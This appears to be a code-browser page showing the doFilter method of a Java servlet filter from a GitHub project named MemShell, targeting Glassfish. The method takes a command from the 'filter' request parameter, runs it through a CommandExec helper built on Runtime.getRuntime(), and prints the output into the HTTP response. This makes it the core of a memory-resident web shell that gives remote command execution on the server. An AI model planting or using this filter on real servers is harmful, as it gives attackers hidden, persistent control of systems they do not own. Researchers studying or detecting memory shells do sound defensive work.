MCPcopy Create free account
hub / github.com/ax1sX/MemShell / doFilter

Method doFilter

GlassfishMemShell/src/main/java/com/axisx/MyFilter.java:15–33  ·  view source on GitHub ↗
(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)

Source from the content-addressed store, hash-verified

13 }
14
15 @Override
16 public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {
17 HttpServletRequest req = (HttpServletRequest) servletRequest;
18
19 try {
20 HttpServletResponse resp = this.getResponseFromRequest(req);
21 String cmd = req.getParameter("filter");
22 String result = this.CommandExec(cmd);
23 // resp.setContentType("text/html;charset=UTF-8");
24 PrintWriter out = resp.getWriter();
25 out.println(result);
26 out.flush();
27 filterChain.doFilter(servletRequest, servletResponse);
28 } catch (Exception e) {
29 e.printStackTrace();
30 }
31
32
33 }
34
35 public String CommandExec(String cmd) throws Exception {
36 Runtime rt = Runtime.getRuntime();

Callers

nothing calls this directly

Calls 2

CommandExecMethod · 0.95

Tested by

no test coverage detected